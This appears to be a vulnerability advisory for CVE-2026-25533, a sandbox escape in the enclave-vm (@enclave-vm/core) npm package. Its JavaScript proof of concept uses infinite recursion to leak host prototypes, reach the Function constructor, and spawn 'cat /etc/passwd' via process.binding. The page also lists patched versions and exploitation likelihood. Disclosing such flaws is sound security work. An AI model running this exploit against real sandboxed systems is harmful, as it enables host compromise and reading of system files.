CVE-2026-25533
Sandbox escape via infinite recursion and error objects
描述
**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`). All fixed versions and guidance refer to `@enclave-vm/core`. ### Summary The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. ### Details There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox. ### PoC The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0. ```js import { Enclave } from 'enclave-vm'; // Create enclave with a tool handler const enclave = new Enclave({ timeout: 5000, maxToolCalls: 10, maxIterations: 1000, toolHandler: async (toolName, args) => { // Your tool execution logic return { success: true, data: `Called ${toolName}` }; }, }); // Execute AgentScript code const result = await enclave.run(` let res = null, rootProt = null; let a = () =>{ try { a(); } catch (e) { rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]]; res=e.stack } } a(); rootProt[["foo"]] = rootProt[["toString"]][["constructor"]] rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")(); `); ``` ### Impact Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.
如何修補 CVE-2026-25533
要修補 CVE-2026-25533,請將受影響套件升級到下列已修補版本。
- —升級至 2.10.1 或更新版本
- —未列出修補版本
CVE-2026-25533 正在被利用嗎?
低 — EPSS 為 0.2%,目前沒有觀察到大規模利用活動。